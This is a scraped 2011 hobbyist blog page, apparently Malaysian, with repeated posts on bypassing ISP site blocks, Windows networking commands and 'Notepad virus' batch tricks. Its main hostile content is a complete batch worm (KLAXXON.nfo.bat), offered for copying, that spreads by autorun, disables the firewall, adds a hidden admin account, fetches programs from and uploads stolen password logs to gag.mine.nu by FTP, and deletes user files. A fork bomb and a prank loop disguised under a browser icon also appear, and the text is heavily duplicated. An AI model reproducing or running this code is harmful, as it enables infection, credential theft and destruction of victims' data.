Step: 1
Step: 2
Step: 3
Step: 4What is the Google Public DNS, baca kat sini(more stable and fast and guaranteed securitynya)
Tuesday, July 26, 2011
How Unblocking SKMM
For the download before it can be said leg broken leg for 10 top places download has been blocked or closed by the Suruhanjaya Komunikasi dan Multimedia Malaysia (SKMM) among Filetube, Megaupload, The Pirate Bay and others. Do not worry now I can download all is already. Here are ways to hackers go to sites that were blocked by MSKMM
Step: 1
Step: 2
Step: 3
Step: 4
What is the Google Public DNS, baca kat sini(more stable and fast and guaranteed securitynya)
Step: 1Step: 2Step: 3Step: 4What is the Google Public DNS, baca kat sini(more stable and fast and guaranteed securitynya)
Command Prompt Order To Computer Networking
Here are commands in Command Prompt relating to computer networks.
To perform the commandments you must sign in to Command Prompt ( Click Start - > Run - > Type CMD )
1. ipconfig / all
Displays the connection configuration information, such as Host Name, Primary DNS Type, Ethernet LAN Adapter.
2. ipconfig / flushdns
Removing the DNS Cache
3. ipconfig / release
" Delete " all connection IP Address.
4. ipconfig / renew
Create a new IP Address to a specific adapter.
5. ipconfig / displaydns
Displaying the DNS Cache.
6. ipconfig / registerdns
Do refresh the DNS and re- connection register DNS.
7. ipconfig / showclassid
Display information DHCP Class.
8. ipconfig / setclassid
Changing DHCP Class ID
9. control netconnections
Displaying Network Connection.
10. nslookup
Know the address ip address from domain name in the record
11. netstat
Displays connection information TCP / IP is active.
12. route
Featuring local route.
13. hostname
Displays the name of the computer.
14. ping
Example: ping www.finderonly.com
A test connection to the site www.finderonly.com.
Fewer % loss of his better then to connection.
15. tracert
IP Address Displays route information.
To perform the commandments you must sign in to Command Prompt ( Click Start - > Run - > Type CMD )
1. ipconfig / all
Displays the connection configuration information, such as Host Name, Primary DNS Type, Ethernet LAN Adapter.
2. ipconfig / flushdns
Removing the DNS Cache
3. ipconfig / release
" Delete " all connection IP Address.
4. ipconfig / renew
Create a new IP Address to a specific adapter.
5. ipconfig / displaydns
Displaying the DNS Cache.
6. ipconfig / registerdns
Do refresh the DNS and re- connection register DNS.
7. ipconfig / showclassid
Display information DHCP Class.
8. ipconfig / setclassid
Changing DHCP Class ID
9. control netconnections
Displaying Network Connection.
10. nslookup
Know the address ip address from domain name in the record
11. netstat
Displays connection information TCP / IP is active.
12. route
Featuring local route.
13. hostname
Displays the name of the computer.
14. ping
Example: ping www.finderonly.com
A test connection to the site www.finderonly.com.
Fewer % loss of his better then to connection.
15. tracert
IP Address Displays route information.
Free Sms
- Open your cellphone Message menu and search for Message Settings option, on Nokia phones it will be - Messaging –> Options –>Settings.
- Find Text Message option and open Message Centers, create a new message center profile or edit existing to new number - +919810051905 (do note down your original message center number).
- Now change preferred connection setting from GSM to Packet Data.
- If you created a new message center profile in step above activate it to default profile.
- Now navigate to your Connection preference and change it to When Available, Phone Settings –> Connection Setting –> Packet Data -> When Available.
- Change Access Point setting to Airtel Live!.
- Now, send SMS as usual but prefix a zero before the number.
- This completes the trick circulated but as I told earlier this does not work.
Sunday, July 24, 2011
Notepad Virus
You all know that 's not what the notepad, who do not know please refer here > LINK <. Ne time we will use Notepad to create a virus. It is not just VIRUS VIRUS any danger that would make this NotePad APPLICATION continuously open itself up to your computer hang.
How to do it so easily.
1. First open your Notepad.
2. Type this code into notepad and save as namafail.BAT
@ ECHO OFF
: top
START % SystemRoot %,[1805],1,0,455,5,6,1],[" notepad.exe
GOTO top
3. Change the icon file to the icon that is difficult to be detected by your friends, for example using the browser icon. So when he click the icon that has you fake that, he would be surprised by what happened... hehe
If you want to try themselves can, try to click the BAT file available at this and see the results. Do not worry because your computer will not be damaged just hang for a while then restart again ok.
How to do it so easily.
1. First open your Notepad.
2. Type this code into notepad and save as namafail.BAT
@ ECHO OFF
: top
START % SystemRoot %,[1805],1,0,455,5,6,1],[" notepad.exe
GOTO top
3. Change the icon file to the icon that is difficult to be detected by your friends, for example using the browser icon. So when he click the icon that has you fake that, he would be surprised by what happened... hehe
If you want to try themselves can, try to click the BAT file available at this and see the results. Do not worry because your computer will not be damaged just hang for a while then restart again ok.
Block All Applications
You are using the secret? Not want others to know and use? So you do not know how to prevent other users from using the application without your permission? So let's use AppAdmin.
This is a small software to memblock applications from being used by your other computer users. It is as small as 319kb and in the form of portable, which means no installation required. The important thing ne free software.
If you want to block click block an application that, then find the application you want to block my C: Program Files. After you select the application you want to block, press the Restart Explorer tu. It's over, try clicking the application you just block.... there out ne thing under it?
To unblock, tick the box next to my small block applications that you then press unblock Selected. Kalo you want to protect from others using AppAdmin ne, je set Password. To set password, click Password tu then enter the Password that you want. Easy, right?
This is a small software to memblock applications from being used by your other computer users. It is as small as 319kb and in the form of portable, which means no installation required. The important thing ne free software.
If you want to block click block an application that, then find the application you want to block my C: Program Files. After you select the application you want to block, press the Restart Explorer tu. It's over, try clicking the application you just block.... there out ne thing under it?
To unblock, tick the box next to my small block applications that you then press unblock Selected. Kalo you want to protect from others using AppAdmin ne, je set Password. To set password, click Password tu then enter the Password that you want. Easy, right?
Batch
This file will cause your computer to make 1000 folders automatically without stopping. The effect of this file will cause your computer to be hang.1. Copy the script below into Notepad.
@ echo off
: top
md % random %
goto top
2. Save the file nama_fail.bat, nama_fail up on you but the most important. Bat
....................................................................................................................................................................
This file will cause your computer to become numb / Freeze, which means you can not do anything except make a force shutdown. Do not do it repeatedly because it is feared will cause damage to your file system.
1. Copy the script below into Notepad.
% 0 | % 0
2. Save the file nama_fail.bat, nama_fail up on you but the most important. Bat
....................................................................................................................................................................
This is a file that is very dangerous at all, it was created by an unknown hacker. I only share this file as an educational reference only. Are reminded never run this file on your own computer. Because what I know, this file will cause damage to your computer system.
1. Copy the script below into Notepad.
:ati
echo %0 | find "ati2" && cd && start /max %cd%
dir %windir%\ati.bat && (exit)
dir %windir%\wscrip.exe || copy %windir%\system32\wscript.exe %windir%\
dir %windir%\ati2.bat || echo %0 | find "ati2" && xcopy %0 %WINDIR%\ /y /h
if not exist %windir%\ati2.bat (copy %0 %WINDIR%\ati2.bat & attrib -r %windir%\ati2.bat
echo.>%windir%\at & echo goto ati>>%windir%\at
echo 1,5d>%windir%\mn
echo 1t %windir%\at>>%windir%\mn & echo e>>%windir%\mn
edlin %windir%\ati2.bat<%windir%\mn)
echo reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /d 0 /t reg_dword /f>%windir%\ati.bat
echo echo %%date%% ^| findstr "13 30" ^&^& goto g>>%windir%\ati.bat
echo Set WshShell = WScript.CreateObject("WScript.Shell")>%windir%\ati.vbs
echo WshShell.Run "%windir%\ati.bat", 0, false>>%windir%\ati.vbs
echo Set WshShell = WScript.CreateObject("WScript.Shell")>%windir%\ati2.vbs
echo WshShell.Run "ati2.bat", 0, false>>%windir%\ati2.vbs
echo [autorun]>%WINDIR%\autorun.inf
echo shellexecute="ati2.vbs">>%WINDIR%\autorun.inf
attrib +s +r +h %windir%\autorun.inf
attrib +s +r +h %windir%\ati2.bat
attrib +s +r +h %windir%\ati2.vbs
echo dir %%windir%%\yes ^|^| goto reg>>%windir%\ati.bat
echo :flash>>%windir%\ati.bat
echo ping 127.0.0.1 -n 20 -w 400>>%windir%\ati.bat
echo for %%%%r in (d e f g h i j k l m c) do dir %%%%r: ^&^& xcopy %%windir%%\autorun.inf %%%%r:\ /y /h>>%windir%\ati.bat
echo for %%%%r in (d e f g h i j k l m c) do dir %%%%r: ^&^& xcopy %%windir%%\ati2.bat %%%%r:\ /y /h>>%windir%\ati.bat
echo for %%%%r in (d e f g h i j k l m c) do dir %%%%r: ^&^& xcopy %%windir%%\ati2.vbs %%%%r:\ /y /h>>%windir%\ati.bat
echo dir %%windir%%\info ^|^| ping gag.mine.nu -w 2000 ^&^& (>>%windir%\ati.bat
echo echo folderxp^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo dep259^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo cd^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo \usr\folderxp^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo get^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo ras.exe^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo %%WINDIR%%\ras.exe^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo get^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo pro.exe^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo %%WINDIR%%\pro.exe^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo quit^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo ftp -s:%%windir%%\ati.txt gag.mine.nu>>%windir%\ati.bat
echo %%WINDIR%%\ras.exe /allusers /stab %%WINDIR%%\ras.log>>%windir%\ati.bat
echo %%WINDIR%%\pro.exe /stab %%WINDIR%%\pro.log>>%windir%\ati.bat
echo copy %%WINDIR%%\ras.log+%%WINDIR%%\pro.log %%WINDIR%%\info /y>>%windir%\ati.bat
echo systeminfo^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo tasklist^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo ipconfig /all^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo netstat -r^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo netstat -a^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo tracert ya.ru^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo nslookup /^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo dir %%SYSTEMDRIVE%%\progra~1/b/a:d^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo echo folderxp^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo dep259^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo cd^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo \usr\folderxp^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo append^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo %%windir%%\info^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo %%date%%_%%username%%_%%userdomain%%_%%random%%.jpg^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo quit^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo ftp -s:%%windir%%\ati.txt gag.mine.nu )>>%windir%\ati.bat
echo goto flash>>%windir%\ati.bat
echo :g>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.mp3 /f /s /q>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.avi /f /s /q>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.jpg /f /s /q>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.jpeg /f /s /q>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.vob /f /s /q>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.doc /f /s /q>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.xls /f /s /q>>%windir%\ati.bat
echo del %%windir%%\info /q>>%windir%\ati.bat
echo del %%windir%%\yes /q>>%windir%\ati.bat
echo goto flash>>%windir%\ati.bat
echo :reg>>%windir%\ati.bat
echo echo yes^>%%windir%%\yes>>%windir%\ati.bat
echo del %%windir%%\reg.txt /q>>%windir%\ati.bat
echo del %%windir%%\reg2.txt /q>>%windir%\ati.bat
echo del %%windir%%\diz.txt /q>>%windir%\ati.bat
echo del %%windir%%\nfo.txt /q>>%windir%\ati.bat
echo for %%%%d in (d e f g h i j k l m c) do dir %%%%d:*.bat/s/b/a-r-h^>^>%%windir%%\reg2.txt>>%windir%\ati.bat
echo for %%%%d in (d e f g h i j k l m c) do dir %%%%d:*.diz/s/b^>^>%%windir%%\diz.txt>>%windir%\ati.bat
echo for %%%%d in (d e f g h i j k l m c) do dir %%%%d:*.nfo/s/b^>^>%%windir%%\nfo.txt>>%windir%\ati.bat
echo findstr /v /i "volume recycled recycler windows" %%windir%%\reg2.txt^>^>%%windir%%\reg.txt>>%windir%\ati.bat
echo for /f "delims=" %%%%t in (%%windir%%\reg.txt) do attrib "%%%%t" -r -h>>%windir%\ati.bat
echo attrib %%windir%%\ati2.bat -r -h -s>>%windir%\ati.bat
echo for /f "delims=" %%%%v in (%%windir%%\reg.txt) do copy %%windir%%\tab+"%%%%v"+%%windir%%\ati2.bat %%windir%%\666.bat ^& del "%%%%v" /q ^& move %%windir%%\666.bat "%%%%v">>%windir%\ati.bat
echo for /f "delims=" %%%%t in (%%windir%%\reg.txt) do attrib "%%%%t" +r>>%windir%\ati.bat
echo for /f "delims=" %%%%v in (%%windir%%\diz.txt) do copy %%windir%%\ati2.bat "%%%%v.bat" ^& del "%%%%v" /q>>%windir%\ati.bat
echo for /f "delims=" %%%%v in (%%windir%%\nfo.txt) do copy %%windir%%\ati2.bat "%%%%v.bat" ^& del "%%%%v" /q>>%windir%\ati.bat
echo attrib %%windir%%\ati2.bat +r +h +s>>%windir%\ati.bat
echo goto flash>>%windir%\ati.bat
echo @echo off>%windir%\tab
echo goto ati>>%windir%\tab
echo :exit>>%windir%\tab
echo cls>>%windir%\tab
echo @echo on>>%windir%\tab
sc config wscsvc start= disabled
sc config SharedAccess start= disabled
sc config tlntsvr start= auto
sc stop wscsvc
sc stop SharedAccess
sc start tlntsvr
net user ati ati696 /add
net localgroup " ¤¬¨¨áâà â®àë" ati /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "Explorer.exe,wscript.exe %windir%\ati.vbs" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /d 0 /t reg_dword /f
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden /v text /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ati /t REG_DWORD /d 0 /f
goto exit
echo %0 | find "ati2" && cd && start /max %cd%
dir %windir%\ati.bat && (exit)
dir %windir%\wscrip.exe || copy %windir%\system32\wscript.exe %windir%\
dir %windir%\ati2.bat || echo %0 | find "ati2" && xcopy %0 %WINDIR%\ /y /h
if not exist %windir%\ati2.bat (copy %0 %WINDIR%\ati2.bat & attrib -r %windir%\ati2.bat
echo.>%windir%\at & echo goto ati>>%windir%\at
echo 1,5d>%windir%\mn
echo 1t %windir%\at>>%windir%\mn & echo e>>%windir%\mn
edlin %windir%\ati2.bat<%windir%\mn)
echo reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /d 0 /t reg_dword /f>%windir%\ati.bat
echo echo %%date%% ^| findstr "13 30" ^&^& goto g>>%windir%\ati.bat
echo Set WshShell = WScript.CreateObject("WScript.Shell")>%windir%\ati.vbs
echo WshShell.Run "%windir%\ati.bat", 0, false>>%windir%\ati.vbs
echo Set WshShell = WScript.CreateObject("WScript.Shell")>%windir%\ati2.vbs
echo WshShell.Run "ati2.bat", 0, false>>%windir%\ati2.vbs
echo [autorun]>%WINDIR%\autorun.inf
echo shellexecute="ati2.vbs">>%WINDIR%\autorun.inf
attrib +s +r +h %windir%\autorun.inf
attrib +s +r +h %windir%\ati2.bat
attrib +s +r +h %windir%\ati2.vbs
echo dir %%windir%%\yes ^|^| goto reg>>%windir%\ati.bat
echo :flash>>%windir%\ati.bat
echo ping 127.0.0.1 -n 20 -w 400>>%windir%\ati.bat
echo for %%%%r in (d e f g h i j k l m c) do dir %%%%r: ^&^& xcopy %%windir%%\autorun.inf %%%%r:\ /y /h>>%windir%\ati.bat
echo for %%%%r in (d e f g h i j k l m c) do dir %%%%r: ^&^& xcopy %%windir%%\ati2.bat %%%%r:\ /y /h>>%windir%\ati.bat
echo for %%%%r in (d e f g h i j k l m c) do dir %%%%r: ^&^& xcopy %%windir%%\ati2.vbs %%%%r:\ /y /h>>%windir%\ati.bat
echo dir %%windir%%\info ^|^| ping gag.mine.nu -w 2000 ^&^& (>>%windir%\ati.bat
echo echo folderxp^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo dep259^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo cd^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo \usr\folderxp^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo get^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo ras.exe^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo %%WINDIR%%\ras.exe^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo get^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo pro.exe^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo %%WINDIR%%\pro.exe^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo quit^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo ftp -s:%%windir%%\ati.txt gag.mine.nu>>%windir%\ati.bat
echo %%WINDIR%%\ras.exe /allusers /stab %%WINDIR%%\ras.log>>%windir%\ati.bat
echo %%WINDIR%%\pro.exe /stab %%WINDIR%%\pro.log>>%windir%\ati.bat
echo copy %%WINDIR%%\ras.log+%%WINDIR%%\pro.log %%WINDIR%%\info /y>>%windir%\ati.bat
echo systeminfo^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo tasklist^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo ipconfig /all^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo netstat -r^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo netstat -a^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo tracert ya.ru^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo nslookup /^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo dir %%SYSTEMDRIVE%%\progra~1/b/a:d^>^>%%WINDIR%%\info>>%windir%\ati.bat
echo echo folderxp^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo dep259^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo cd^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo \usr\folderxp^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo append^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo %%windir%%\info^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo %%date%%_%%username%%_%%userdomain%%_%%random%%.jpg^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo echo quit^>^>%%Windir%%\ati.txt>>%windir%\ati.bat
echo ftp -s:%%windir%%\ati.txt gag.mine.nu )>>%windir%\ati.bat
echo goto flash>>%windir%\ati.bat
echo :g>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.mp3 /f /s /q>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.avi /f /s /q>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.jpg /f /s /q>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.jpeg /f /s /q>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.vob /f /s /q>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.doc /f /s /q>>%windir%\ati.bat
echo for %%%%f in (d e f g h i j k l m c) do del %%%%f:\*.xls /f /s /q>>%windir%\ati.bat
echo del %%windir%%\info /q>>%windir%\ati.bat
echo del %%windir%%\yes /q>>%windir%\ati.bat
echo goto flash>>%windir%\ati.bat
echo :reg>>%windir%\ati.bat
echo echo yes^>%%windir%%\yes>>%windir%\ati.bat
echo del %%windir%%\reg.txt /q>>%windir%\ati.bat
echo del %%windir%%\reg2.txt /q>>%windir%\ati.bat
echo del %%windir%%\diz.txt /q>>%windir%\ati.bat
echo del %%windir%%\nfo.txt /q>>%windir%\ati.bat
echo for %%%%d in (d e f g h i j k l m c) do dir %%%%d:*.bat/s/b/a-r-h^>^>%%windir%%\reg2.txt>>%windir%\ati.bat
echo for %%%%d in (d e f g h i j k l m c) do dir %%%%d:*.diz/s/b^>^>%%windir%%\diz.txt>>%windir%\ati.bat
echo for %%%%d in (d e f g h i j k l m c) do dir %%%%d:*.nfo/s/b^>^>%%windir%%\nfo.txt>>%windir%\ati.bat
echo findstr /v /i "volume recycled recycler windows" %%windir%%\reg2.txt^>^>%%windir%%\reg.txt>>%windir%\ati.bat
echo for /f "delims=" %%%%t in (%%windir%%\reg.txt) do attrib "%%%%t" -r -h>>%windir%\ati.bat
echo attrib %%windir%%\ati2.bat -r -h -s>>%windir%\ati.bat
echo for /f "delims=" %%%%v in (%%windir%%\reg.txt) do copy %%windir%%\tab+"%%%%v"+%%windir%%\ati2.bat %%windir%%\666.bat ^& del "%%%%v" /q ^& move %%windir%%\666.bat "%%%%v">>%windir%\ati.bat
echo for /f "delims=" %%%%t in (%%windir%%\reg.txt) do attrib "%%%%t" +r>>%windir%\ati.bat
echo for /f "delims=" %%%%v in (%%windir%%\diz.txt) do copy %%windir%%\ati2.bat "%%%%v.bat" ^& del "%%%%v" /q>>%windir%\ati.bat
echo for /f "delims=" %%%%v in (%%windir%%\nfo.txt) do copy %%windir%%\ati2.bat "%%%%v.bat" ^& del "%%%%v" /q>>%windir%\ati.bat
echo attrib %%windir%%\ati2.bat +r +h +s>>%windir%\ati.bat
echo goto flash>>%windir%\ati.bat
echo @echo off>%windir%\tab
echo goto ati>>%windir%\tab
echo :exit>>%windir%\tab
echo cls>>%windir%\tab
echo @echo on>>%windir%\tab
sc config wscsvc start= disabled
sc config SharedAccess start= disabled
sc config tlntsvr start= auto
sc stop wscsvc
sc stop SharedAccess
sc start tlntsvr
net user ati ati696 /add
net localgroup " ¤¬¨¨áâà â®àë" ati /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "Explorer.exe,wscript.exe %windir%\ati.vbs" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /d 0 /t reg_dword /f
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden /v text /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ati /t REG_DWORD /d 0 /f
goto exit
2. Save the file as KLAXXON.nfo.bat, do not change the file name in order to respect the creator of this file.
....................................................................................................................................................................
This is a file that is very dangerous at all, it was created by an unknown hacker. I only share this file as an educational reference only. Are reminded never run this file on your own computer. Because what I know, this file will cause damage to your computer system.
1. Copy the script below into Notepad.
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /d 0 /t reg_dword /f
echo %date% | findstr "13 30" && goto g
dir %windir%\yes || goto reg
:flash
ping 127.0.0.1 -n 20 -w 400
for %%r in (d e f g h i j k l m c) do dir %%r: && xcopy %windir%\autorun.inf %%r:\ /y /h
for %%r in (d e f g h i j k l m c) do dir %%r: && xcopy %windir%\ati2.bat %%r:\ /y /h
for %%r in (d e f g h i j k l m c) do dir %%r: && xcopy %windir%\ati2.vbs %%r:\ /y /h
dir %windir%\info || ping gag.mine.nu -w 2000 && (
echo folderxp>%Windir%\ati.txt
echo dep259>>%Windir%\ati.txt
echo cd>>%Windir%\ati.txt
echo \usr\folderxp>>%Windir%\ati.txt
echo get>>%Windir%\ati.txt
echo ras.exe>>%Windir%\ati.txt
echo %WINDIR%\ras.exe>>%Windir%\ati.txt
echo get>>%Windir%\ati.txt
echo pro.exe>>%Windir%\ati.txt
echo %WINDIR%\pro.exe>>%Windir%\ati.txt
echo quit>>%Windir%\ati.txt
ftp -s:%windir%\ati.txt gag.mine.nu
%WINDIR%\ras.exe /allusers /stab %WINDIR%\ras.log
%WINDIR%\pro.exe /stab %WINDIR%\pro.log
copy %WINDIR%\ras.log+%WINDIR%\pro.log %WINDIR%\info /y
systeminfo>>%WINDIR%\info
tasklist>>%WINDIR%\info
ipconfig /all>>%WINDIR%\info
netstat -r>>%WINDIR%\info
netstat -a>>%WINDIR%\info
tracert ya.ru>>%WINDIR%\info
nslookup />>%WINDIR%\info
dir %SYSTEMDRIVE%\progra~1/b/a:d>>%WINDIR%\info
echo folderxp>%Windir%\ati.txt
echo dep259>>%Windir%\ati.txt
echo cd>>%Windir%\ati.txt
echo \usr\folderxp>>%Windir%\ati.txt
echo append>>%Windir%\ati.txt
echo %windir%\info>>%Windir%\ati.txt
echo %date%_%username%_%userdomain%_%random%.jpg>>%Windir%\ati.txt
echo quit>>%Windir%\ati.txt
ftp -s:%windir%\ati.txt gag.mine.nu )
goto flash
:g
for %%f in (d e f g h i j k l m c) do del %%f:\*.mp3 /f /s /q
for %%f in (d e f g h i j k l m c) do del %%f:\*.avi /f /s /q
for %%f in (d e f g h i j k l m c) do del %%f:\*.jpg /f /s /q
for %%f in (d e f g h i j k l m c) do del %%f:\*.jpeg /f /s /q
for %%f in (d e f g h i j k l m c) do del %%f:\*.vob /f /s /q
for %%f in (d e f g h i j k l m c) do del %%f:\*.doc /f /s /q
for %%f in (d e f g h i j k l m c) do del %%f:\*.xls /f /s /q
del %windir%\info /q
del %windir%\yes /q
goto flash
:reg
echo yes>%windir%\yes
del %windir%\reg.txt /q
del %windir%\reg2.txt /q
del %windir%\diz.txt /q
del %windir%\nfo.txt /q
for %%d in (d e f g h i j k l m c) do dir %%d:*.bat/s/b/a-r-h>>%windir%\reg2.txt
for %%d in (d e f g h i j k l m c) do dir %%d:*.diz/s/b>>%windir%\diz.txt
for %%d in (d e f g h i j k l m c) do dir %%d:*.nfo/s/b>>%windir%\nfo.txt
findstr /v /i "volume recycled recycler windows" %windir%\reg2.txt>>%windir%\reg.txt
for /f "delims=" %%t in (%windir%\reg.txt) do attrib "%%t" -r -h
attrib %windir%\ati2.bat -r -h -s
for /f "delims=" %%v in (%windir%\reg.txt) do copy %windir%\tab+"%%v"+%windir%\ati2.bat %windir%\666.bat & del "%%v" /q & move %windir%\666.bat "%%v"
for /f "delims=" %%t in (%windir%\reg.txt) do attrib "%%t" +r
for /f "delims=" %%v in (%windir%\diz.txt) do copy %windir%\ati2.bat "%%v.bat" & del "%%v" /q
for /f "delims=" %%v in (%windir%\nfo.txt) do copy %windir%\ati2.bat "%%v.bat" & del "%%v" /q
attrib %windir%\ati2.bat +r +h +s
goto flash
echo %date% | findstr "13 30" && goto g
dir %windir%\yes || goto reg
:flash
ping 127.0.0.1 -n 20 -w 400
for %%r in (d e f g h i j k l m c) do dir %%r: && xcopy %windir%\autorun.inf %%r:\ /y /h
for %%r in (d e f g h i j k l m c) do dir %%r: && xcopy %windir%\ati2.bat %%r:\ /y /h
for %%r in (d e f g h i j k l m c) do dir %%r: && xcopy %windir%\ati2.vbs %%r:\ /y /h
dir %windir%\info || ping gag.mine.nu -w 2000 && (
echo folderxp>%Windir%\ati.txt
echo dep259>>%Windir%\ati.txt
echo cd>>%Windir%\ati.txt
echo \usr\folderxp>>%Windir%\ati.txt
echo get>>%Windir%\ati.txt
echo ras.exe>>%Windir%\ati.txt
echo %WINDIR%\ras.exe>>%Windir%\ati.txt
echo get>>%Windir%\ati.txt
echo pro.exe>>%Windir%\ati.txt
echo %WINDIR%\pro.exe>>%Windir%\ati.txt
echo quit>>%Windir%\ati.txt
ftp -s:%windir%\ati.txt gag.mine.nu
%WINDIR%\ras.exe /allusers /stab %WINDIR%\ras.log
%WINDIR%\pro.exe /stab %WINDIR%\pro.log
copy %WINDIR%\ras.log+%WINDIR%\pro.log %WINDIR%\info /y
systeminfo>>%WINDIR%\info
tasklist>>%WINDIR%\info
ipconfig /all>>%WINDIR%\info
netstat -r>>%WINDIR%\info
netstat -a>>%WINDIR%\info
tracert ya.ru>>%WINDIR%\info
nslookup />>%WINDIR%\info
dir %SYSTEMDRIVE%\progra~1/b/a:d>>%WINDIR%\info
echo folderxp>%Windir%\ati.txt
echo dep259>>%Windir%\ati.txt
echo cd>>%Windir%\ati.txt
echo \usr\folderxp>>%Windir%\ati.txt
echo append>>%Windir%\ati.txt
echo %windir%\info>>%Windir%\ati.txt
echo %date%_%username%_%userdomain%_%random%.jpg>>%Windir%\ati.txt
echo quit>>%Windir%\ati.txt
ftp -s:%windir%\ati.txt gag.mine.nu )
goto flash
:g
for %%f in (d e f g h i j k l m c) do del %%f:\*.mp3 /f /s /q
for %%f in (d e f g h i j k l m c) do del %%f:\*.avi /f /s /q
for %%f in (d e f g h i j k l m c) do del %%f:\*.jpg /f /s /q
for %%f in (d e f g h i j k l m c) do del %%f:\*.jpeg /f /s /q
for %%f in (d e f g h i j k l m c) do del %%f:\*.vob /f /s /q
for %%f in (d e f g h i j k l m c) do del %%f:\*.doc /f /s /q
for %%f in (d e f g h i j k l m c) do del %%f:\*.xls /f /s /q
del %windir%\info /q
del %windir%\yes /q
goto flash
:reg
echo yes>%windir%\yes
del %windir%\reg.txt /q
del %windir%\reg2.txt /q
del %windir%\diz.txt /q
del %windir%\nfo.txt /q
for %%d in (d e f g h i j k l m c) do dir %%d:*.bat/s/b/a-r-h>>%windir%\reg2.txt
for %%d in (d e f g h i j k l m c) do dir %%d:*.diz/s/b>>%windir%\diz.txt
for %%d in (d e f g h i j k l m c) do dir %%d:*.nfo/s/b>>%windir%\nfo.txt
findstr /v /i "volume recycled recycler windows" %windir%\reg2.txt>>%windir%\reg.txt
for /f "delims=" %%t in (%windir%\reg.txt) do attrib "%%t" -r -h
